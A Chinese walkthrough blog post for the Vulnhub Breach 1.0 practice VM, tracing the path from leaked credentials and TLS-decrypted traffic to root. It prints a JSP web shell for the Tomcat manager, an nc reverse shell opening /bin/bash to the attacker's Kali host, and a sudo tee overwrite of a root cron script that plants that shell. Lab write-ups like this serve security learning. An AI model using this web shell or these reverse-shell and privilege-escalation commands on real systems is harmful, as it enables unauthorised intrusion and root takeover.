相比于CTF题目,Vulnhub的靶场更贴近于实际一些,而且更加综合考察了知识。在这里记录以下打这个靶场的过程和心得。

测试环境

  • Kali linux IP:192.168.110.128

  • Breach 1.0 IP:192.168.110.140

    均通过NAT模式连主机

信息搜集

先扫描开放端口,发现开了一大堆。



直接查看80端口Web服务

查看页面源码有一串字符

<!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo ----->

得到一串意义不明的东西

pgibbons:damnitfeel$goodtobeagang$ta

点击图片有跳转,挨个点击,发现了一个impress cms

那看到cms第一反应就是去找现成的漏洞,有跨站脚本执行和本地文件包含,但都是在admin的情况下才可以执行, 这个时候我们不妨试试之前解出的那串字符,作为账号密码。

发现可以成功,进入之后查看发现有个收件箱,里面三封邮件得到了一个关键信息,192.168.110.140/.keystore,是一个SSL证书,访问链接即可下载。

但是线索到这里暂时断了,但是网上找到一个漏洞信息

漏洞信息

ImpressCMS是一款内容管理系统。

ImpressCMS存在跨站脚本漏洞,可通过PATH_INFO传递给otifications.php, modules/system/admin/images/browser.phpmodules/content/admin/content.php脚本的输入注入WEB脚本或HTML,可获得敏感信息或劫持用户会话。

虽然经一系列尝试无果,但是在访问modules/content/admin/content.php的时候,由于没有权限跳转到了这个页面

content下面有个链接



是一个流量包,那之前拿到的SSL证书就能用到了。

关键信息:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'.

查看流量包

打开流量包,直接查看没有什么有用信息

导入SSL证书,因为是tomcat服务所以端口号选择8443,

说明我们拿到的证书格式不对,需要PKCS12格式的证书。我们使用keytool查看信息,密码是tomcat

根据提示信息操作

keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12

现在格式正确了

重新导入,多了一些http包

我们筛选一下http包

发现在请求一个网页,但是第一次没有成功,比较两个数据包,发现多了这一行请求。

我们也尝试访问这个页面

https://192.168.110.140:8443/_M@nag3Me/html

但是一直访问不成功,尝试抓包

才发现是觉得不安全被拦截了,抓包访问的时候会让你输入账号密码

tomcat:Tt\5D8F(#!*u=G)4m7zB

使用流量包中发现的账号密码登录

进入后台

我们进入了一个tomcat的后台界面,发现一个文件上传点,需要上传war包。

<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

打包成war上传之后访问,传参

成功,但是测试的时候发现隔一会上传的马会被删除,应该是后台有一个定时清除的脚本,因此我们弹一个shell出来

GetShell以及提权

Kali使用nc -lnvp 8888监听

发送nc -v 192.168.110.128 8888 -e /bin/bash, 成功之后使用python -c 'import pty;pty.spawn("/bin/sh")'进入交互式界面

home目录下两个用户以及/etc/passwd

发现在/var/www/5446/目录下有两个奇怪的php文件

发现是数据库的账号和密码,我们连接数据库看一看

找到了milton用户的密码hash

破解得密码thelaststraw

登录milton用户,但是发现很遗憾,这个用户没有sudo权限

查看.bash_history

看样子我们需要得到blumbergh用户的权限。我们再看milton家目录下的那张图片,放到/var/www/html/images/目录下

检查这张图片,并没有什么玄机。

再查看images下的图片权限

发现有两张图片的权限与其他不同,查看

发现bill.png下面有个commentcoffeestains,结果这个就是blumbergh用户的密码,就挺离谱的。

登录blumbergh用户,查看.bash_history

查看一下tidyup.sh

就是这个指令之前删除了我们的shell

但是这个脚本的权限是755, 现有权限并不能更改

但是我们发现现在这个用户有一个权限,就是可以使用tee指令

因此就有了修改的方式

echo nc -v 192.168.110.128 8888 -e /bin/bash | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

因为这个脚本是root用户的权限,因此我们通过这个方式反弹出来的shell就是root权限。设置监听之后等待即可。

至此,成功提权到root

VulnHub 实战靶场Breach-1.0的更多相关文章

  1. Vulnhub实战靶场:ME AND MY GIRLFRIEND: 1

    一.环境搭建 1.官网下载连接:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.下载之后,使用Oracle VM Virtual ...

  2. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  3. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  4. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  5. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  6. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  7. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  8. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  9. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

随机推荐

  1. 【MATLAB】常用命令快速入门,国赛加油

    矩阵运算 矩阵的基本生成 m1 = 1:5 % 生成行矩阵[1,2,3,4,5] m2 = 1:2:10 % 起点:步长:终点 [1,3,5,7,9] linspace(x1,x2,n) % 生成 n ...

  2. Python - 面向对象编程 - @property

    前言 前面讲到实例属性的时候,我们可以通过 实例对象.实例属性 来访问对应的实例属性 但这种做法是不建议的,因为它破坏了类的封装原则 正常情况下,实例属性应该是隐藏的,只允许通过类提供的方法来间接实现 ...

  3. redis 《scan命令》

    此命令十分奇特建议参考文档:http://redisdoc.com/database/scan.html#scan     222222222222222并非每次迭代都要使用相同的 COUNT 值. ...

  4. Spring Boot +Vue 项目实战笔记(三):数据库的引入

    这一篇的主要内容是引入数据库并实现通过数据库验证用户名与密码. 一.引入数据库 之前说过数据库的采用是 MySQL,算是比较主流的选择,从性能和体量等方面都比较优秀,当然也有一些弊端,但数据库不是我们 ...

  5. 设置 Qt GUI程序 printf输出到独立控制台

  6. mybatis第一个程序随笔

    今天继续学习了解如何写一个mybatis程序 创建了Dao层 1.1 创建一个UserDao接口 1.2 创建UserMapper.xml文件 在mybaits中文手册查找配置信息 <?xml ...

  7. Microsoft Remote Desktop 通过 .rdp 文件登录

    最近在淘宝上买了「市场洞察」子账号,说是子账号,其实是需要登录到他们的 Windows 服务器上才能用的.并且子账号也是 5-6 个人共用的,且不说远程服务器很老又有延迟,经常是我想添加一个监控店铺或 ...

  8. go语言调用everything的SDK接口

    介绍 官方SDK地址 本项目会将官方dll编译到可执行程序中,运行时无需考虑dll问题. 根据官方介绍,使用SDK前需要运行everything程序. 执行go build -tag ASCII时编译 ...

  9. IS(上升子序列)

    前言:   这是一篇杂题选讲+作者口胡的博客,不喜勿喷. 正文:   提示:在阅读时请留意加粗的字体是"极长"还是"最长".   今天改题时碰到了一道关于线段树 ...

  10. 命令行解析函数:getopt_long、getopt

    一.前言 在学习一些项目代码时,尤其涉及到命令行传参的代码,经常遇到getopt相关的函数,对这一类函数可以说是既陌生又熟悉.陌生是因为不知道它是干啥的,熟悉呢,是因为经常遇到.于是乎在追踪了多天ip ...